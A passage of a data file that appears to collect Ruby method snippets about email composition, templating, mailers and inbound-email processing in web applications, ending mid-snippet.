"def build_email(mailmsgs={}, mailtemplate=@defaultmailtemplate)\r\n\t\t@logger.info(\"build ncs email start...\")\r\n\t\ttemplate = Template.new(mailtemplate,@outputdir)\r\n\t\toutputfile = @properties.get(\"ncs.mail.store\")\r\n\t\t#puts @outputdir+\"/\"+outputfile\r\n\t\tif not mailmsgs.empty?\r\n\t\t\t@body = template.render(mailmsgs, @outputdir+\"/\"+outputfile)\r\n\t\telse\r\n\t\t\traise ArgumentError,\"either project_release_label need to be defined!\" if @project_release_label.empty?\r\n\t\t\t#build title\r\n\t\t\tmailsubject = @properties.get(\"ncs.mail.subject\")\r\n\t\t\t@title = \"#{mailsubject} #{@project_release_label}\" if @title.empty?\r\n\t\t\t#build sr link & report link\r\n\t\t\t@sr_link = @properties.get(\"ncs.mail.sr_link\") if @sr_link.empty?\r\n\t\t\t@report_link = @properties.get(\"ncs.mail.report_link\") if @report_link.empty?\r\n\t\t\t#build latest sr table\r\n\t\t\tsr_file = @properties.get(\"ncs.test.sr_mapping_file\")\r\n\t\t\tsr_sheet = @properties.get(\"ncs.test.sr_worksheet\", 'WMX5.0')\r\n\t\t\t@logger.info(\"sr mapping file: #{sr_file}\")\r\n\t\t\tsrparser = SrParser.new(sr_file)\r\n\t\t\tif @srs.empty?\r\n\t\t\t\tlatestSrlist = srparser.latestSrlist(sr_sheet)\r\n\t\t\t\tlatestSrlist.each{ |sr| \r\n\t\t\t\t\tself.addsr(sr) \r\n\t\t\t\t}\r\n\t\t\tend\r\n\t\t\t#build sr summary\r\n\t\t\tif @srsummary.empty?\r\n\t\t\t\t['Originated','Assessed','Study','Performed','Closed'].each{ |status|\r\n\t\t\t\t\tsrlistStatus = srparser.srlistBy(sr_sheet, '#Status', status)\r\n\t\t\t\t\t@logger.info(\"#{status} sr: \"+ srlistStatus.length.to_s)\r\n\t\t\t\t\t@srsummary.store(status, srlistStatus.length)\r\n\t\t\t\t}\r\n\t\t\tend\r\n\t\t\t#host,os,view\r\n\t\t\t@host = %x{uname -n}.chomp() if @host.empty?\r\n\t\t\t@ip = IPSocket.getaddress(@host) if @ip.empty?\r\n\t\t\t@os = %x{uname}.chomp() if @os.empty?\r\n\t\t\tcleartool = @properties.get('ncs.tool.cleartool')\r\n\t\t\t@view = %x{#{cleartool} pwv -s}.chomp() if @view.empty?\r\n\t\t\t#build log dir & test log dir\r\n\t\t\tlogdir = @properties.get('ncs.log.dir')\r\n\t\t\t@buildlogdir = logdir + '/' + project_release_label + '/buildlog' if @buildlogdir.empty?\r\n\t\t\t@testlogdir = logdir + '/' + project_release_label + '/testlog' if @testlogdir.empty?\r\n\t\t\t#build merge stat info\r\n\t\t\tif @mergestat.empty?\r\n\t\t\t\tbegin\r\n\t\t\t\t\tstoredir = @properties.get('ncs.store.dir')\r\n\t\t\t\t\tmergestat = @properties.get('ncs.tool.mergestat')\r\n\t\t\t\t\tline_sep = @properties.get('ncs.mail.line_sep','<br/>')\r\n\t\t\t\t\tbranch = %x{#{cleartool} catcs|grep '^mkbranch'|cut -f2 -d' '}.chomp\r\n\t\t\t\t\tmergestat_name = \"mergestat_#{branch}\"\r\n\t\t\t\t\tmergestat_store = storedir + '/' + project_release_label + \"/mergestat_#{branch}\"\r\n\t\t\t\t\tif not File.exists?(mergestat_store)\r\n\t\t\t\t\t\t@logger.info(\"mergestat file not exist, need to generated!\")\r\n\t\t\t\t\t\t@logger.debug(\"cd /vob/wibb_bts; #{mergestat} -a -l -s -b #{branch} > #{mergestat_name}\")\r\n\t\t\t\t\t\tsystem(\"cd /vob/wibb_bts; #{mergestat} -a -l -s -b #{branch} > #{mergestat_name}\")\r\n\t\t\t\t\t\t@logger.debug(\"cp /vob/wibb_bts/#{mergestat_name} #{mergestat_store}\")\r\n\t\t\t\t\t\tsystem(\"cp /vob/wibb_bts/#{mergestat_name} #{mergestat_store}\")\r\n\t\t\t\t\tend\r\n\t\t\t\t\tmergestat = IO.readlines(mergestat_store)\r\n\t\t\t\t\t@logger.info(\"mergestat is store at #{mergestat_store}\")\r\n\t\t\t\t\t#@logger.debug(\"#{mergestat}\")\r\n\t\t\t\t\t@mergestat = mergestat.join(line_sep)\r\n\t\t\t\trescue => err\r\n\t\t\t\t\t@logger.error(\"build mergestat failed, #{err.to_s}\")\r\n\t\t\t\t\t@logger.warn(\"NCS ignored mergestat information!\")\r\n\t\t\t\t\t@mergestat = ''\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t\t#build tested projects\r\n\t\t\ttested_projects = @properties.get('ncs.store.tested_projects')\r\n\t\t\tif @testedprojects.empty? and File.exists?(tested_projects)\r\n\t\t\t\tlines = IO.readlines(tested_projects)\r\n\t\t\t\tlines.each{ |line|\r\n\t\t\t\t\tnext if line =~ /^\\s*$/\r\n\t\t\t\t\tline.chomp!\r\n\t\t\t\t\t#blocked project\r\n\t\t\t\t\tif line =~ /BLOCK/i\r\n\t\t\t\t\t\t(lbl,block,modtime) = line.split(/[\\s:;,]+/, 3)\r\n\t\t\t\t\t\tself.addpassrate4prj(lbl,'','',true, modtime)\r\n\t\t\t\t\t#tested project\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t(lbl,prate,frate,modtime) = line.split(/[\\s:;,]+/, 4)\r\n\t\t\t\t\t\tself.addpassrate4prj(lbl,prate,frate,false, modtime)\r\n\t\t\t\t\tend\r\n\t\t\t\t}\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\t#build bindings\r\n\t\t\tattributes = {\r\n\t\t\t\t'title' => @title,\r\n\t\t\t\t'sr_link' => @sr_link,\r\n\t\t\t\t'report_link' => @report_link,\r\n\t\t\t\t'srs' => @srs,\r\n\t\t\t\t'srsummary' => @srsummary,\r\n\t\t\t\t'host' => @host,\r\n\t\t\t\t'ip' => @ip,\r\n\t\t\t\t'os' => @os,\r\n\t\t\t\t'view' => @view,\r\n\t\t\t\t'errors' => @errors,\r\n\t\t\t\t'buildresults' => @buildresults,\r\n\t\t\t\t'testsummary' => @testsummary,\r\n\t\t\t\t'testresults' => @testresults,\r\n\t\t\t\t'buildlogdir' => @buildlogdir,\r\n\t\t\t\t'testlogdir' => @testlogdir,\r\n\t\t\t\t'mergestat' => @mergestat,\r\n\t\t\t\t'testedprojects' => @testedprojects\r\n\t\t\t}\r\n\t\t\t#render template and store the mail as a file \r\n\t\t\t@outputdir = @properties.get('ncs.store.dir') + '/' + project_release_label\r\n\t\t\t@body = template.render(attributes, @outputdir+\"/\"+outputfile)\r\n\t\tend\r\n\t\t@logger.info(\"build ncs email end\")\r\n\tend",
"def create\n @enquiry = Enquiry.find params[:enquiry_id]\n content = params[:email_content].gsub(\"\\n\", '<br>')\n FoodPartnerMailer.new_order_notice(@enquiry, content).deliver_later\n SupplierCommunication.create! comm_params\n @enquiry.wait_on_supplier\n head :ok\n end",
"def send_one_email_to(name, mail)\n email = @gmail.compose do\n to mail\n subject \"Apprentissage entre pairs + gratuité + code = The Hacking Project\"\n html_part do\n content_type 'text/html; charset=UTF-8'\n body get_the_email_html(name) #TODO faire pour toutes les villes du tableau -> suppose de lire les colonnes du tableau dans une boucle (ajouter un délai)\n end\n end\nemail.deliver!\nend",
"def show_body\n I18n.with_locale @email_locale do\n @mail_body = mail_body(@preview, @part_type)\n render :show_body, layout: 'rails_email_preview/email'\n end\n end",
"def create \n params[:subject][:title].strip! if !params[:subject][:title].nil?\n params[:subject][:content].strip! if !params[:subject][:content].nil?\n @subject = Subject.new(params.require(:subject).permit(:title, :content, :for_correctors, :important, :for_wepion))\n @subject.user = current_user.sk\n @subject.last_comment_time = DateTime.now\n @subject.last_comment_user = current_user.sk\n \n @subject.for_wepion = false if @subject.for_correctors # We don't allow Wépion if for correctors\n\n if @subject.title.size > 0\n @subject.title = @subject.title.slice(0,1).capitalize + @subject.title.slice(1..-1)\n end\n\n # Set associated object (category, section, chapter, exercise, problem)\n err = set_associated_object\n error_create([err]) and return if !err.empty?\n\n # Attached files\n @error_message = \"\"\n attach = create_files\n error_create([@error_message]) and return if !@error_message.empty?\n\n if @subject.save\n attach_files(attach, @subject)\n\n if current_user.sk.root?\n for g in [\"A\", \"B\"] do\n if params.has_key?(\"groupe\" + g)\n User.where(:group => g).each do |u|\n UserMailer.new_message_group(u.id, @subject.id, current_user.sk.id).deliver\n end\n end\n end\n end\n\n flash[:success] = \"Votre sujet a bien été posté.\"\n redirect_to subject_path(@subject, :q => @q)\n else\n destroy_files(attach)\n error_create(@subject.errors.full_messages) and return\n end\n end",
"def send_email_to_user(user, subject, body_template, template_locals)\n if user.get_preference(\"HTML_EMAIL\").value == 'true'\n email_body = haml(body_template, :locals => template_locals )\n type = 'text/html'\n else\n email_body = erb(body_template, :locals => template_locals)\n type = 'text/plain'\n end\n Pony.mail :to => user.email,\n :from => \"frank_test@davesag.com\",\n :subject => subject,\n :headers => { 'Content-Type' => type },\n :body => email_body\n end",
"def dispatch_to_default_with_helpdesk\n issue = receive_issue\n roles = issue.author.roles_for_project(issue.project)\n # add owner-email only if the author has assigned some role with\n # permission treat_user_as_supportclient enabled\n if roles.any? {|role| role.allowed_to?(:treat_user_as_supportclient) }\n sender_email = @email.from.first\n #XXX the email_details overrides bellow: there is subroutine call instead\n email_details = \"From: \" + @email[:from].formatted.first + \"\\n\"\n email_details << \"To: \" + @email[:to].formatted.join(', ') + \"\\n\"\n\n custom_field = CustomField.find_by_name('cc-handling')\n custom_value = CustomValue.where(\n \"customized_id = ? AND custom_field_id = ?\", issue.project.id, custom_field.id).first\n\n if (!@email.cc.nil?) && (custom_value.value == '1')\n carbon_copy = @email[:cc].formatted.join(', ')\n email_details << \"Cc: \" + carbon_copy + \"\\n\"\n custom_field = CustomField.find_by_name('copy-to') \n\t custom_value = CustomValue.where(\n \"customized_id = ? AND custom_field_id = ?\", issue.id, custom_field.id).first\n custom_value.value = carbon_copy\n custom_value.save(:validate => false)\n else\n carbon_copy = nil\n end\n\n email_details << \"Date: \" + @email[:date].to_s + \"\\n\"\n email_details = \"<pre>\\n\" + Mail::Encodings.unquote_and_convert_to(email_details, 'utf-8') + \"</pre>\"\n\t email_details = compose_email_details()\n issue.description = email_details + issue.description\n issue.save\n custom_field = CustomField.find_by_name('owner-email')\n custom_value = CustomValue.where(\n \"customized_id = ? AND custom_field_id = ?\", issue.id, custom_field.id).\n first\n custom_value.value = sender_email\n custom_value.save(:validate => false) # skip validation!\n \n # regular email sending to known users is done\n # on the first issue.save. So we need to send\n # the notification email to the supportclient\n # on our own.\n \n HelpdeskMailer.email_to_supportclient(issue, {:recipient => sender_email,\n :carbon_copy => carbon_copy} ).deliver\n # move issue's description onto the new (1-st) journal entry\n journal = Journal.new(:journalized_id => issue.id, :journalized_type => 'Issue', :user_id => issue.author.id, :notes => issue.description, :private_notes => false, :created_on => issue.created_on)\n journal.notify = false # regular email sending to known users is done so no need to notify one more time about this technical operation\n journal.save\n issue.description = ''\n issue.save\n\n end\n after_dispatch_to_default_hook issue\n return issue\n end",
"def message_template; end",
"def create\n @q = Q.find(params[:q_id])\n \n #temp_content = a(params[:qmail_content])\n @qmail = @q.qmails.create(:content =>params[:qmail_content],:user_id => current_user.id)\n @quest = @q.quest\n current_user.qmails << @qmail\n @qmail.add_questid(@quest.id)#must for telling pg_search about the quest if of qmail\n @qmail.add_qid(@q.id)#must for telling pg_search about the q if of qmail\n #links vm code here\n # doc = Nokogiri::HTML(markdown.render(@qmail.content))\n # doc.xpath('//a[@href]').each do |l|\n # @link = @quest.links.create(:body => l['href'])\n # end\n respond_to do |format|\n \n format.html { redirect_to q_path(@q)}\n format.js \n end\n # new_qmail_notify(@qmail)\n end",
"def new\n @templates = EmailTemplate.find(:all) \n @email_template = EmailTemplate.new\n @email_template.name = params[:name]\n @email_template.content = EmailTemplate.fetch_default(@email_template.name)\n @email_template.subject = EmailTemplate.fetch_subject_default(@email_template.name) \n @page_title = t('email_templates.new.title', :email_template_name => @email_template.name)\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @email_template }\n end\n end",
"def content_with_layout( layout_options )\r\n render = Render::Base.new\r\n render.mail_content_with_layout( self, layout_options )\r\n end",
"def create\n Article.transaction do\n @article = Article.new(params[:article])\n respond_to do |format|\n if @article.save\n @article.deliver_to_listhost unless @article.no_mail == \"1\"\n flash[:notice] = 'Article was successfully created.'\n format.html { redirect_to admin_articles_path }\n format.xml { render :xml => @article, :status => :created, :location => @article }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @article.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def mailto_body_template\n Liquid::Template.parse(File.read(File.join(@options[:templates], \"mailto_body.liquid\")))\n end",
"def create\n @inform_mail = InformMail.new(inform_mail_params)\n @inform_mail.body.encode!(\"cp1251\")\n respond_to do |format|\n if @inform_mail.save\n format.html { redirect_to inform_mails_path, notice: 'Inform mail was successfully created.' }\n format.json { render action: 'show', status: :created, location: @inform_mail }\n else\n format.html { render action: 'new' }\n format.json { render json: @inform_mail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generate_error_email_body(email_type: :user)\n case email_type\n when :user\n error_contents = read_parse_logfile(user_error_filepath)\n message_body = \"<p>'#{study_file.upload_file_name}' has failed during parsing.</p>\"\n when :dev\n # only read first megabyte of error log to avoid email delivery failure\n error_contents = read_parse_logfile(dev_error_filepath, delete_on_read: false, range: 0..1.megabyte)\n message_body = \"<p>The file '#{study_file.upload_file_name}' uploaded by #{user.email} to #{study.accession} failed to ingest.</p>\"\n message_body += \"<p>A copy of this file can be found at #{generate_bucket_browser_tag}</p>\"\n message_body += \"<p>Detailed logs and PAPI events as follows:\"\n else\n error_contents = read_parse_logfile(user_error_filepath)\n message_body = \"<p>'#{study_file.upload_file_name}' has failed during parsing.</p>\"\n end\n\n if error_contents.present?\n message_body += \"<h3>Errors</h3>\"\n error_contents.each_line do |line|\n message_body += \"#{line}<br />\"\n end\n end\n\n if !error_contents.present? || email_type == :dev\n message_body += \"<h3>Event Messages</h3>\"\n message_body += \"<ul>\"\n event_messages.each do |e|\n message_body += \"<li><pre>#{ERB::Util.html_escape(e)}</pre></li>\"\n end\n message_body += \"</ul>\"\n end\n\n if study_file.file_type == 'Metadata'\n faq_link = \"https://singlecell.zendesk.com/hc/en-us/articles/360060610092-Metadata-Validation-Errors-FAQ\"\n message_body += \"<h3>Common Errors for Metadata Files</h3>\"\n message_body += \"<p>You can view a list of common metadata validation errors and solutions in our documentation: \"\n message_body += \"<a href='#{faq_link}'>#{faq_link}</a></p>\"\n end\n\n message_body += \"<h3>Job Details</h3>\"\n message_body += \"<p>Study Accession: <strong>#{study.accession}</strong></p>\"\n message_body += \"<p>Study File ID: <strong>#{study_file.id}</strong></p>\"\n message_body += \"<p>Ingest Run ID: <strong>#{pipeline_name}</strong></p>\"\n message_body += \"<p>Command Line: <strong>#{command_line}</strong></p>\"\n ingest_image_attributes = AdminConfiguration.get_ingest_docker_image_attributes\n message_body += \"<p>Ingest Pipeline Docker image version: <strong>#{ingest_image_attributes[:tag]}</strong></p>\"\n message_body\n end",
"def build_message\n @subject = self.content[:short_subject]\n curate_text\n\n\n mail = Mail.new({\n :from => @replyto,\n :to => @recipients,\n :subject => @subject,\n :body => @text\n })\n\n if @no_send\n self.print\n return\n end\n\n\n return mail\n end",
"def create\n CorreosMailer.create\n end",
"def mail\n mail = MailTasks::Mail.query_by_id( params[:id] )\n render :text => mail.content_with_layout( mail_layout_options ), :layout => false\n end",
"def create\n @templates = EmailTemplate.find(:all) \n @email_template = EmailTemplate.new(params[:email_template])\n @page_title = t('email_templates.new.title', :email_template_name => @email_template.name) \n respond_to do |format|\n if @email_template.save\n flash[:notice] = t('email_templates.new.success', :email_template_name => @email_template.name)\n format.html { redirect_to(edit_email_template_url(@email_template)) }\n format.xml { render :xml => @email_template, :status => :created, :location => @email_template }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @email_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @email_params = email_params\n @email_params[:body_plain] = @email_params['body-plain']\n @email_params[:stripped_html] = @email_params['stripped-html']\n @email_params[:body_html] = @email_params['body-html']\n ['body-plain', 'body-html', 'stripped-html'].collect{|p| @email_params.delete(p) }\n @email = Email.new(@email_params)\n @email.conversation_id = @email.find_conversation\n # We check if it's in the spam list. If that is the case, no conversation is created\n if Spam.search_pattern(@email.sender)\n @email.spam = true\n end\n if @email.save\n if @email.conversation\n @email.conversation.update_attribute(:read, false)\n @email.conversation.update_attribute(:answered, false)\n @email.conversation.update_attribute(:archived, false)\n end\n return render nothing: true, code: 200\n else\n return render nothing: true, code: 500\n end\n end",
"def email\n\t\temail_response = EmailHandler.new(email_content).deliver_email\n\t\t\trender text: email_response + \"\\n\"\n\tend",
"def send_email_to_master\n\n\tend",
"def emailform\n end",
"def emailform\n end",
"def get_the_email_html(nline)\n\trecipient = @ws[nline, 1].to_s\n\t$mailsubject = \"A l'attention de la mairie de #{recipient}\"\n\t$html_content = \"<p> <b> A l'attention de la mairie de #{recipient} </b> </p>\n<p>Bonjour, </p>\n<p>Je m'appelle Thomas, je suis élève à une formation de code gratuite, ouverte à tous, sans restriction géographique, ni restriction de niveau. La formation s'appelle The Hacking Project (http://thehackingproject.org/). Nous apprenons l'informatique via la méthode du peer-learning : nous faisons des projets concrets qui nous sont assignés tous les jours, sur lesquel nous planchons en petites équipes autonomes. Le projet du jour est d'envoyer des emails à nos élus locaux pour qu'ils nous aident à faire de The Hacking Project un nouveau format d'éducation gratuite.\nNous vous contactons pour vous parler du projet, et vous dire que vous pouvez ouvrir une cellule à #{recipient}, où vous pouvez former gratuitement 6 personnes (ou plus), qu'elles soient débutantes, ou confirmées. Le modèle d'éducation de The Hacking Project n'a pas de limite en terme de nombre de moussaillons (c'est comme cela que l'on appelle les élèves), donc nous serions ravis de travailler avec #{recipient} ! </p>\n<p> Yann, Moussaillon de The Hacking Project</p>\" \n\nend",
"def wrap_body_in_template(latex_body, document_title_plain_text, document_title_latex)\n # Assign l_vars not used in template\n git_repo = Repositext::Repository.new(@options[:source_filename])\n latest_commit = git_repo.latest_commit(@options[:source_filename])\n date_code = Repositext::Utils::FilenamePartExtractor.extract_date_code(\n @options[:source_filename]\n )\n language_code_3 = Repositext::Utils::FilenamePartExtractor.extract_language_code_3(\n @options[:source_filename]\n )\n # assign i_vars referenced in template file.\n @additional_footer_text = escape_latex_text(@options[:additional_footer_text])\n @body = latex_body\n @company_long_name = @options[:company_long_name]\n @company_phone_number = @options[:company_phone_number]\n @company_short_name = @options[:company_short_name]\n @company_web_address = @options[:company_web_address]\n @language_and_date_code = [language_code_3, date_code].join.upcase\n # Applies the settings for the first eagle indent and drop cap.\n @first_eagle = @options[:first_eagle]\n # Sets the starting page number.\n @first_page_number = @options[:first_page_number]\n @font_leading = @options[:font_leading]\n @font_name = @options[:font_name]\n @font_size = @options[:font_size]\n @footer_title = truncate_plain_text_title(\n @options[:footer_title_english], 43, 3\n ).unicode_upcase\n @has_id_page = @options[:has_id_page]\n @header_font_name = @options[:header_font_name]\n @header_text = compute_header_text_latex(\n @options[:header_text],\n @options[:header_footer_rules_present],\n @options[:language_code_3_chars]\n )\n @header_title = compute_header_title_latex(\n document_title_plain_text,\n document_title_latex,\n @options[:header_footer_rules_present],\n @options[:language_code_3_chars],\n @options[:truncated_header_title_length]\n )\n # Turns on hrules in title, header and footer.\n @header_footer_rules_present = @options[:header_footer_rules_present]\n # Sets the letter space for the headers.\n @header_letter_space = @options[:header_letter_space]\n @id_address_primary_latex_1 = @options[:id_address_primary_latex_1]\n @id_address_primary_latex_2 = @options[:id_address_primary_latex_2]\n @id_address_secondary_email = @options[:id_address_secondary_email]\n @id_address_secondary_latex_1 = @options[:id_address_secondary_latex_1]\n @id_address_secondary_latex_2 = @options[:id_address_secondary_latex_2]\n @id_address_secondary_latex_3 = @options[:id_address_secondary_latex_3]\n @id_copyright_year = @options[:id_copyright_year]\n @id_extra_language_info = @options[:id_extra_language_info]\n @id_paragraph_line_spacing = @options[:id_paragraph_line_spacing]\n @id_recording = @options[:id_recording] if @options[:include_id_recording]\n @id_series = @options[:id_series]\n @id_title_1_font_size = @options[:id_title_1_font_size]\n @id_title_font_name = @options[:id_title_font_name]\n @id_write_to_primary = @options[:id_write_to_primary]\n @id_write_to_secondary = @options[:id_write_to_secondary]\n @include_meta_info = include_meta_info\n @is_primary_repo = @options[:is_primary_repo]\n @language_code_3 = language_code_3.upcase\n @language_name = @options[:language_name]\n @last_eagle_hspace = @options[:last_eagle_hspace]\n @latest_commit_hash = latest_commit.oid[0,8]\n @linebreaklocale = @options[:language_code_2_chars]\n @magnification = magnification\n @metadata_additional_keywords = @options[:metadata_additional_keywords]\n @metadata_author = @options[:metadata_author]\n @page_number_command = compute_page_number_command(\n @options[:header_footer_rules_present],\n @options[:language_code_3_chars]\n )\n @page_settings = page_settings_for_latex_geometry_package\n # Force foreign languages to use Excelsior for paragraph numbers.\n @paragraph_number_font_name = @options[:paragraph_number_font_name]\n @pdf_version = @options[:pdf_version]\n @piid = Repositext::Utils::FilenamePartExtractor.extract_product_identity_id(@options[:source_filename])\n @polyglossia_default_language = polyglossia_default_language(@options[:language_code_3_chars])\n @primary_font_name = @options[:primary_font_name]\n @pv_id = @options[:pv_id]\n @question1_indent = @options[:question1_indent]\n @question2_indent = @options[:question2_indent]\n @question3_indent = @options[:question3_indent]\n @song_leftskip = @options[:song_leftskip]\n @song_rightskip = @options[:song_rightskip]\n @text_left_to_right = @options[:text_left_to_right]\n @title_font_name = @options[:title_font_name]\n @title_font_size = @options[:title_font_size]\n @title_vspace = @options[:title_vspace] # space to be inserted above title to align with body text\n @use_cjk_package = ['chn','cnt'].include?(@options[:language_code_3_chars])\n # Sets the vbadness_penalty limit for veritcal justification. This is the maximum penalty allowed.\n @vbadness_penalty = @options[:vbadness_penalty]\n @version_control_page = if @options[:version_control_page]\n compute_version_control_page(git_repo, @options[:source_filename])\n else\n ''\n end\n @vspace_above_title1_required = @options[:vspace_above_title1_required]\n @vspace_below_title1_required = @options[:vspace_below_title1_required]\n\n # dependency boundary\n @meta_info = include_meta_info ? compute_meta_info(git_repo, latest_commit) : ''\n\n erb = ERB.new(latex_template, nil, '>')\n r = erb.result(binding)\n r\n end",
"def publish\n original = Newsly::Template.find(self.parent_id)\n original.subject= self.subject\n original.body= self.body\n original.save\n original\n end",
"def rails_create_email(action)\n rails_mailer.public_send(action, self)\n end",
"def get_mail\n \n end",
"def send_email(to, subject, content)\r\n\r\n end",
"def before_save\n self.email_text_content = \"<Text>#{email_text_content}</Text>\" unless email_text_content.match /^\\<Text/\n self.date = self.date.strftime(DATE_FORMAT) if attributes.has_key?('Date') && self.date.is_a?(Time)\n end",
"def test_should_render_layout_convert_entities_and_apply_css\n SimpleMailer.deliver_test\n assert SimpleMailer.deliveries.last.body =~ /<h1>Fäncy<\\/h1><p>test inner content<\\/p>/\n end",
"def funded_email_to_creator\n Pony.mail(:to => self.email, :from => 'admin@kittypool.com', :subject => 'the gift you created is now funded!', :body => 'yay! some people owe you money.')\n end",
"def mail_template_file\n File.expand_path(File.join(RAILS_ROOT, 'app', 'views', 'mail_task_mailer',\"#{self.class.table_name}.text.html.rhtml\"))\n end",
"def sendMail(adresse,nom,prenom,sujet_pdf)\n\n corps = <<EOF\n\nBonjour #{prenom} #{nom},\n\nVoici votre sujet individualisé pour l'examen de mathématiques\n\n********************************\n\n* La durée du contrôle est de 1h (+ 15 minutes de délai technique)\n\n* Vous devez répondre aux questions en écrivant à la main sur une copie en papier\n\n* Vous devez rendre votre copie sous forme d'un ou plusieurs fichiers : photo ou scan (jpg, png, pdf)\n\n* Vous devez avoir rendu votre copie avant 14h45 en la déposant sur moodle, dans l'onglet \"semaine 3\" du cours d'algèbre linéaire\n\n**************************\n\n* Calculatrices, Sage, documents, etc. autorisés\n\n* Attention à donner un maximum de détails de calcul et de rédaction\n\n**************************\n\n* Les profs tiendront une permanence rocket sur le canal iutinfo1atousmaths à partir de 13h15\n\n*************************\n\nCordialement,\nL'équipe enseignante de mathématiques\n\nEOF\n\n # Commande d'envoi simplifiée avec le gem Mail\n \n if ReallySend\n initMail\n Mail.deliver do\n #charset='UTF-8' # marche pas ? bref... :(\n from From\n to adresse\n subject Subject\n \n text_part do\n body corps\n end\n \n add_file :filename => NomEnvoi, :content => File.read(sujet_pdf)\n end\n else\n # simple affichage\n puts From\n puts adresse\n puts Subject\n puts corps\n end\nend",
"def new_message(obj)\n @obj = obj\n @admin_recipients = User.role_users(:admin).map(&:email)\n @author_recipients = User.role_users(:author).map(&:email)\n @recipients = @admin_recipients\n emails = @recipients.join(\",\")\n m = [\"pr.cr_pmcbl@hotmail.com\",\"rhcsa2012@gmail.com\",\"dilokvilas@gmail.com\",\"natthaphon.v@pmcblueline.com\",\"prajak.o@pmcblueline.com\",\"chayant.m@hotmail.com\",\"thinrachwansa@hotmail.com\",\"naruemit.k@gmail.com\"].join(\",\")\n mail to: m\n end",
"def create\n ContactMailer.create\n end",
"def new_content\n content_translated.present? ? transcode(content_translated) : content\n end",
"def new_content\n content_translated.present? ? transcode(content_translated) : content\n end",
"def create_output(descriptions)\n# render view which will create actual mail report\n body = DcApplicationController.new.render_to_string(\n :template => 'models/dump_models',\n :locals => { descriptions: descriptions },\n :layout => 'models' \n ) \n File.open(Rails.root.join('public','models_dump.html'),'w') {|f| f.write(body)}\n#\n body = ''\n descriptions.each do |description|\n collection = description.first\n all_fields = description.last \n body << \"#\\n# == Schema information\\n#\\n\"\n body << \"# Collection name: #{collection['id']} : #{collection['description']}\\n#\\n\"\n \n all_fields.each do |field|\n body << \"# #{field['field'].ljust(20)} #{field['type'].to_s.ljust(20)} #{field['description']}\\n\"\n end\n body << \"\\n\\n\"\n end \n File.open(Rails.root.join('public','description_dump.html'),'w') {|f| f.write(body)}\nend",
"def template\n return @email unless @email.nil?\n \n #if self[:email].blank?\n #@template = Liquid::Template.parse(email)\n #self[:email] = Marshal.dump(@template)\n # save\n #else\n @email = Marshal.load(self[:email])\n #end\n \n #@email\n end",
"def mail; get_data_in_file :mail end",
"def build_product\n NewsletterMailer.build_product\n end",
"def new_notification_email(notification,receiver)\n @notification = notification\n @receiver = receiver\n #DIFFERENT FROM ORIGINAL----------------------\n subject = notification.subject.to_s\n subject = decode_basic_notification(subject,notification.notified_object)\n subject = subject.gsub(/\\n/,'')\n #END OF DIFFERENCE----------------------------\n subject = strip_tags(subject) unless subject.html_safe?\n mail(:to => receiver.send(Mailboxer.email_method,notification), :subject => t('mailboxer.notification_mailer.subject', :subject => subject)) do |format|\n format.text {render __method__}\n format.html {render __method__}\n end\n end",
"def deliver_email!(activity, lang, message_info, data = {})\n\t\ttempl_list = templates_for(activity, lang)\n\t\traise \"No template found\" if templ_list.empty?\n\n\t\t# Log error if too many templates\n\t\tif templ_list.size > 1\n\t\t\tif(defined? Rails)\n\t\t\t\tRails.logger.warn(\"Too many templates for #{activity}/#{lang}!\") \n\t\t\tend\n\t\tend\n\n\t\ttempl = templ_list.first\n\n\t\tmessage_info[:global_merge_vars] ||= []\n\t\tdata.each do |k, v|\n\t\t\tmessage_info[:global_merge_vars].push({:name => k, :content => v})\n\t\tend\n\t\n\t\t@mandrill_connection.messages.send_template(templ[\"name\"], [], message_info, false, @mandrill_ip_pool)\n\tend",
"def mail; end",
"def create_mail\n # Removes the current user from the recipients and cc\n # if he doesn't want to receive notifications about what he does\n @author ||= User.current\n if @author.pref[:no_self_notified]\n recipients.delete(@author.mail) if recipients\n cc.delete(@author.mail) if cc\n end\n \n notified_users = [recipients, cc].flatten.compact.uniq\n # Rails would log recipients only, not cc and bcc\n mylogger.info \"Sending email notification to: #{notified_users.join(', ')}\" if mylogger\n \n # Blind carbon copy recipients\n if Setting.bcc_recipients?\n bcc(notified_users)\n recipients []\n cc []\n end\n super\n end",
"def new_request(name_, subject_, content_)\n @subject = subject_\n @name = name_\n @content = content_\n\n mail to: \"ahmetaslan1956@gmail.com\", subject: @subject\n #mail to: \"turgutfelek@gmail.com\", subject: @subject\n end",
"def create_inbound_email_from_mail(status: T.unsafe(nil), **mail_options, &block); end",
"def message_template=(_arg0); end",
"def create\n# puts \"request.inspect:#{request.inspect}\"\n logtag = ControllerHelper.gen_logtag\n # Stores objs that causes problem except inbound_email\n # which is handled by different error handler in :action => new\n # view\n @error_obj_arr = []\nputs \"InboundEmail, create:#{params[:inbound_email].inspect}\"\n # The user is redirected to a different return_url if provided\n # else the standard page is rendered\n return_url = params[Constants::RETURN_URL_INPUT]\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}: return_url:#{return_url}\")\n # If the inbound_email was created using the interface then\n # it will keys like \"commit\", etc and the hash for the inbound_email\n # is stored using :inbound_email key\n inbound_email_params = params[:inbound_email]\n # If inbound_email was created using external mechanims, e.g.,\n # sendgrid, then there is no :inbound_email key so we\n # use the params directly\n inbound_email_params ||= params\n # We can also based on certain values, e.g., smtp ip or header\n # fields decide which field_mapper to get, but we need at least\n # one field that is guarateed there, for sendgrid, we can use headers\n field_mapper_type = nil\n if inbound_email_params[:headers].match /sendgrid.meant.it/\n field_mapper_type = InboundEmailFieldMapperFactory::SENDGRID\n end # end if inbound_email_params ...\n field_mapper = InboundEmailFieldMapperFactory.get_inbound_email_field_mapper(field_mapper_type)\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, field_mapper_type:#{field_mapper_type}\")\n logger.debug(\"#{File.basename(__FILE__)}:#{self.class}:#{Time.now}:create:#{logtag}, field_mapper:#{field_mapper.inspect}\")\n @inbound_email = InboundEmail.new(\n :headers => inbound_email_params[field_mapper[:headers]],\n :body_text => 